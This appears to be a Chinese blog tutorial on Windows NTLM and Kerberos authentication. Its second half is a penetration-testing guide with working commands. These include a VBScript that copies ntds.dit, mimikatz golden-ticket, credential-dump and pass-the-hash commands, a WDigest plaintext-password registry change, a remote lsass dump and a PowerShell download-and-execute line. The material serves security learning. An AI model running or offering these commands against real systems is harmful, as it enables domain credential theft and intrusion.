Windows系统存在着两种主要认证方式,它们分别是NTLM和Kerbose

Windows认证机制

Hash存储位置

  • 本机用户:C:\Windows\system32\config\SAM (系统运行时不可访问)
  • 域用户:C:\Windows\NTDS\ntds.dit (系统运行时不可访问)

Widows的两种认证方式

认证方式 应用场景 类型 参与者 特点
NTLM 主要用于Windows NT及Windows 2000 server及以后工作组环境中 Challenge/Response based 客户端,服务端,域控
Kerberos 主要用于Windows 2000 server 及以后的域环境中 Ticket based 客户端,服务端,KDC(Key Distribution Center,一般由域控担任) 无状态,双向认证

NTLM

LM只适用于小于14个字符的密码,如果大于14个字符则使用NTLM

2000 xp 2003 Vista win7 2008 2012
LM 默认 默认 默认
NTLM 大于14字符使用 大于14字符使用 大于14字符使用 默认 默认 默认 默认

当LM Hash是AAD3B435B51404EEAAD3B435B51404EE时有以下三种情况

  • 空密码
  • 大于十四位的密码
  • 故意设置为此值

NTLM认证过程如下所示:

Kerberos

Kerberos是基于票据的认证方式,在这种认证方式下客户端想要访问某个服务时必须持有一张票据,但是这张票据不是随便领取的,在获得这张票据之前你首先得有一张认购权证。这种机制让我想起了现实中的一些例子,比如你要参加一个重要会议或者活动时你需要有门票吧,但是为了安全起见你必须首先去公安机关或者有关部门开一张你是良民的证明然后才能拿着这个证明买到参会的门票。Kerberos认证流程大体上可以分为六个步骤,如下图所示:
图中一些缩写以及稍后将要用到的缩写的解释如下表所示:

缩写 解释
KDC Key Distribution Center,秘钥分发中心,它包括AS及TGS两个服务
AS Authentication Service,认证服务
TGS Ticket Granting Service,票据授权服务
TGT Ticket Granting Ticket,认购权证
AD Account Database,账户数据库,用于存储用户名及对应的密码hash值,这个数据库一般由活动目录维护
ST Service Ticket,最终的服务票据
LSK Logon Session Key,客户端与KDC之间通信安全的会话秘钥
SSK Service Session Key,客户端与服务器之间的通话秘钥

一些总结:

  • Authenticator在Kerberos认证过程中参与了每个环节,在上述1,3,5三个请求过程中它分别被客户端用户密码hash,LSK,SSK进行加密,其在认证过程中起到了标识客户端身份的重要作用。
  • LSK,SSK都是Short Term Key即这种秘钥可能频繁的更换所以就算在交互过程中泄露也不会影响太大,并且这两个秘钥每个都有两份。而用户密码,krbtgt用户密码,服务器密码则属于Long Term Key,因为我们通常不会频繁的变换自己的密码,这也是为什么会出现黄金票据及白银票据攻击方式的原因。
  • AD在上述认证的过程中也几乎参与了每个环节,需要通过它获得第一步中Username对应的密码从而生成加密Authenticator的秘钥从而对Client进行身份验证,还需要通过它获取KDC服务即krbtgt用户角色的密码由于加密TGT,最后还需要通过它获取Server Name对应的密码用于加密ST。
  • 6个步骤中涉及到的加密过程都是对称加密。这六个步骤可以进一步的分为三个子协议
子协议 步骤
Authentication Service Exchange 1(KRB_AS_REQ),2(KRB_AS_REP)
Authentication Service Exchange 3(KRB_TGS_REQ),4(KRB_TGS_REP)
Client/Server Exchange 5(KRB_AP_REQ),6(KRB_AP_REP)
  • Kerberos协议是双向认证的,在完成上述六个步骤后服务器会把步骤六中提取出来的Authenticator中的时间戳提取出来然后通过SSK加密传回给客户端客户端通过比较时间戳是否一致从而达到验证Server身份的目的。

Kerberos认证协议相对于NTLM来说安全性有了不少的提高,但是Kerberos还不是牢不可破的,常见的对于Kerberos的攻击方式如下表所示:

漏洞名称 着力点 权限 限制
黄金票据 KRBTGT角色的密码hash(上图第2步) Kerberos服务权限
白银票据 Service 角色的密码hash(上图第5步) 指定的服务访问权限 在一个多域AD森林中,如果创建的Golden Ticket域不包含Enterprise Admins组,则Golden Ticket不会向林中的其他域提供管理权限。在单个域Active Directory林中,由于Enterprise Admins组驻留在此域中,这时创建Golden Ticket不存在局限性。

When?Which?

Windows下存在NTLM及Kerberos两种认证方式,那么问题来了具体什么时候用NTLM认证,什么时候用Kerberos认证?这个问题真的是困扰人找了半天也没找到准确的资料,只找到了下面这张表:

Local User Local System Domain User Domain Machine
Local User NTLM NTLM NTLM NTLM
Local System Anonymous NTLM Anonymous NTLM Anonymous NTLM Anonymous NTLM
Domain User NTLM NTLM Kerberos Kerberos
Domain Machine NTLM NTLM Kerberos Kerberos

观察上表其实总结来说就是前面提到的NTLM用于工作组环境下的认证,而Kerberos用于域环境下的认证。

参考
Windows安全认证是如何进行的?[Kerberos篇]
谈谈基于Kerberos的Windows Network Authentication系列

攻击Windows认证

卷影拷贝服务及快照技术

在前面提到过SAM文件及NTDS.dit文件在开机状态下都是被锁定的不能直接访问,那么渗透测试环境下如何将这两个文件拿出来分析呢?既然有困难,那就肯定会有解决困难的方法,像Windows下提供的卷影拷贝(Volume Shadow Copy Service,VSS)、快照(snapshot)等用于文件备份及恢复的工具就可以为我们解决这个问题。既然SAM及NTDS.dit文件没办法直接访问,那么不如为其创建一个备份然后访问这些备份文件不也是一样吗?!所以像VSS等具有文件备份功能的工具就可以在我们离线分析SAM及NTDS.dit等文件时提供巨大的帮助。

域环境下

离线分析

域环境下在进行离线分析时需要导出ntds.dit及SYSTEM.hiv两个文件,SYSTEM.hiv导出方法如下:

reg  save hklm\system  system.hiv

导出ntds.dit

ntdsutil

通过ntdsutil获得导出ntds.dit,需要管理员权限,具体操作如下图:
非交互式自动化脚本如下所示:

set ws=wscript.createobject("wscript.shell")
set ret = ws.exec ("ntdsutil snapshot ""activate instance ntds"" create quit quit")
strText = ret.StdOut.ReadAll()
Set regEx = New RegExp
regEx.Pattern = "(\{[a-z0-9\-]*\})"
Set Mathces = regEx.Execute(strText)
For Each Match in Mathces GUID = Match.value
Next
set ret = ws.exec ("ntdsutil snapshot ""mount "& GUID&""" quit quit")
strText = ret.StdOut.ReadAll()
regEx.Pattern = "([A-Z]:\\\$.*\$)"
Set Mathces = regEx.Execute(strText)
For Each Match in Mathces MOUNT_POINT =  Match.value
Next
set so=createobject("scripting.filesystemobject")
so.getfile(MOUNT_POINT&"\windows\ntds\ntds.dit").copy("C:\ntds.dit")
ws.run("ntdsutil snapshot ""unmount "&GUID&""" ""delete "&GUID&""" quit quit")
vss
方法1:vshadow

需要管理员权限

方法2:vssown.vbs

需要管理员权限

cscript vssown.vbs /start
cscript vssown.vbs /create C
cscript vssown.vbs /list
copy (替换为Device Object的值)\windows\ntds\ntds.dit .
copy (替换为Device Object的值)\windows\system32\config\system .
cscript vssown.vbs /delete *

分析ntds.dit

QuarksPwDump.exe

DSInternals

Powershell版本:> = 3
以管理员身份运行

Import-Module .\DSInternals
Get-Module DSInternals
Get-Command DSInternals
$key = Get-BootKey -SystemHivePath 'C:\system.hiv'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Out-File hash.txt
ntdsdump

Impact/secretsdump.py

NTDSXtract + libesedb

配置过程

攻击手段

Pass The Ticket

得到client的密码hash

黄金票据

  • 得到krbtgt用户的密码NTLM hash

  • 获得域名
  • 获得域管理员名
  • 获得域的SID

    具体命令:
kerberos::golden  /admin:administrator  /domain:centoso.com  /sid:S-1-5-21-3085454607-3860466549-2764522924  /krbtgt:73556f2326c419362a3a6c79a07ef582 /ptt

白银票据

得到服务器的密码hash

Skeleton Key

微软在2014年3月12日添加了LSA保护策略,用来防止对进程lsass.exe的代码注入,这样一来就无法使用mimikatz对lsass.exe进行注入,相关操作也会失败。

dcsync获取任意用户hash

需要域管理员权限上下文

单主机下

获取内存中的NTLM Hash

Windows 8.1 之后添加了安全机制阻止mimikatz通过WDigest provider提取明文密码,8.1之前的老版本可以通过安装KB2871997补丁来添加相应的安全机制。这个安全机制依赖于注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigestUseLogonCredential关键字的值:

  • 值为1时:允许将登陆密码明文存储在lsa内存中
  • 值为0时:禁止将登陆密码明文存储在lsa内存中

需要注意的是UseLogonCredential键在HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest 并不现显式存储,在Windows 8.1系统中此键默认值为0,而在打了相应补丁的老版本系统中此字段默认值为1,所以渗透测试过程如果由于此安全机制导致mimikatz抓不到明文密码则可通过下面的命令更改注册表的值(此值修改后只有用户在此登录时才会存储明文)来时系统存储明文密码:

线上分析

mimikatz
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

交互式抓取:

privilege::debug
sekurlsa::logonpasswords

将抓取结果存储在文件中:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > pssword.txt

通过Powershell调用Mimikatz:

PowerShell.exe -ExecutionPolicy Bypass -NoProfile -Noninteractive -c "IEX (New-object Net.webclient).DownloadString('http://127.0.0.1/Invoke-Mimikatz.ps1');Invoke-Mimikatz"

Get-PassHashes.ps1

管理员权限运行

getpass
  • Windows2008 x64 执行失败
  • Windows2003 x86执行成功

离线分析

sam

lsadump::sam SYSTEM.hiv SAM.hiv

ProcDump+Mimikatz

此方法在进行离线分析时需要分析平台与目标平台兼容
Procdump是一款dump进程内存的工具,其经常与Windbg联合使用用于分析程序bug,不过结合其与Mimikatz可以获取用户的登录凭证。具体思路是首先通过ProcDump获取lsass.exe的运行内存,lsass.exe用于本地安全和登陆策略,所以他的内存中存在用户的登录凭证信息,然后使用Mimikatz分析dump出的文件从而获取用户的凭证信息,具体操作流程如下:

psexec.exe \\10.0.0.3 -w C:\ -c C:\\ProcDump\procdump64.exe -accepteula -ma lsass.exe dump.dmp
copy \\10.0.0.3\C$\dump.dmp C:\lsass.dmp
Mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords full"  exit > password.txt

攻击手法

WCE hash注入

PTH

sekurlsa::pth /user:Administrator /domain:test.local
/ntlm:cc36cf7a8514893efccd332446158b1a

各种票据攻击

总结

Mimikatz是Windows认证攻击中功能最为强大的工具,关于它的详细介绍可以参考这篇文章

未看

  • Windows内网协议学习NTLM篇之NTLM基础介绍
  • Windows内网协议学习NTLM篇之发起NTLM请求
  • Windows内网协议学习NTLM篇之Net-NTLM利用
  • Windows内网协议学习NTLM篇之漏洞概述
  • NTLM 中继攻击的几种非主流玩法
  • Windows内网协议学习Kerberos篇之ASREQ& ASREP
  • Kerberos中继攻击:滥用无约束委派(上)
  • Kerberos中继攻击:滥用无约束委派(下)
  • 域渗透 | Kerberos攻击速查表

渗透测试之攻击Windows认证相关推荐

  1. Windows 内网渗透之攻击域控

    文章目录 内网渗透之攻击域控 前言 高权限读取本地密码 procdump+mimikatz绕过杀软 SYSVOL组策略获取密码 Kerberoasting 暴力破解密码 原理 使用setspn查询sp ...

  2. 内网渗透——WINDOWS认证机制之KERBEROS

    之前两篇文章整理了NTLM协议的分析与利用 1.内网渗透--WINDOWS认证机制之NTLM 2.利用netsh抓取连接文件服务器的NET NTLM Hash 本篇文章来学习域内认证的Kerberos ...

  3. Kali渗透测试:身份认证攻击

    Kali渗透测试:身份认证攻击 1.1 简单网络服务认证的攻击 网络上很多常见的应用都采用了密码认证的方式,如SSH.Telnet.FTP等.这些应用被广泛应用在各种网络设备上,如果这些认证模式出现问 ...

  4. tomcat temp 大量 upload 文件_渗透测试之文件上传漏洞总结

    文末下载上传环境源码 客户端 js检查 一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式. 查看源代码可以看到有如下代码对上传文件类型进行了限制: 我们 ...

  5. windows共享文件夹端口_探讨横向渗透背后的Windows安全机制

    1.测试环境 god.org域环境: 系统 身份 IP地址 win2008 域控 192.168.124.21 win7 普通域成员 192.168.124.25 win2003 普通域成员 192. ...

  6. windows 认证机制

    目录 Windows认证协议 NTLM(NT LAN Manager) Kerberos NTLM认证 Windwos 密码hash NTLM hash NET-NTLM hash 流程 注意 图解 ...

  7. 【干货】彻底理解Windows认证-议题解读

    在内部分享的<彻底理解Windows认证>议题解读,本次议题围绕着Windows认证分别讲解了: Pass The Hash Silver Tickets.Golden Tickets. ...

  8. Windows认证机制详解(借物表在文章末尾)

    一.本地认证 基础知识 Windows系统在本地认证过程中,操作系统会要求用户输入密码作为凭证去做身份验证. 在验证过程中,系统并不保存明文密码,而是将用户输入的密码转变为NTLM hash(也叫NT ...

  9. 渗透测试之破解密码(3)

    渗透测试之破解密码(3) 常见密码破解技术 被动在线攻击 主动在线攻击 离线攻击 彩虹表 使用彩虹表破解密码 使用非技术性方法 使用闪存驱动器窃取密码 提升权限 TRK(Trinity Rescue ...

最新文章

  1. 利用集群技术实现Web服务器的负载均衡
  2. archlinux mariadb躺坑
  3. python类高级用法_十.python面向对象高级用法
  4. NYOJ 721 纸牌游戏 简单题
  5. 2017年10月21日普及组 排名
  6. 【Python数据预处理】 归一化(按列减均值,除方差),标准化(按列缩放到指定范围),正则化(范数)
  7. boost::test模块测试参数化测试
  8. oracle在数据表中获取年月日时分秒
  9. [python3.x] 利用chardet检测网页编码
  10. react打包后图片丢失_手写Webpack从0编译Vue/React项目
  11. 软件工程导论复习之需求分析
  12. 使用激活工具后主页被篡改为hao123
  13. 2016年最新苹果开发者账号注册申请流程最强详解!
  14. Jmeter-添加PerfMon (Servers Performance Monitoring),报错解决办法
  15. 基于Python的微信好友男女比例,区域排名,签名情感分析
  16. 想成为“独立名师”,你还要做到哪几点?
  17. linux查看当前运行的进程
  18. linux源码网址,可以在这里找到很多开源的驱动
  19. 数字电路要点总结-TTL电路分析
  20. 数据库评书---MySQLWorkbench绘制EER图(鸭蹼图, chen’s ER图)

热门文章

  1. 编程实现操作word文档 c#
  2. 正点原子STM32F407ZGT6以太网ETH—LwIP通信笔记
  3. 深度剖析Linux内核(ARM体系结构)
  4. LeetCode1109之航班预订统计(相关话题:差分数组)
  5. 数据可视化新闻,不一样的新闻报道形式
  6. 修改 QQ 聊天记录保存路径
  7. 云计算,终将成为阿里和腾讯之争?
  8. 如何在前端实现甘特图?SpreadJS两招搞定
  9. java判断张三_从程序片断:student zhangsan(“张三”,“M”,22); zhangsan.id(“2005131000”);可判断id是一个()...
  10. windows installer正准备安装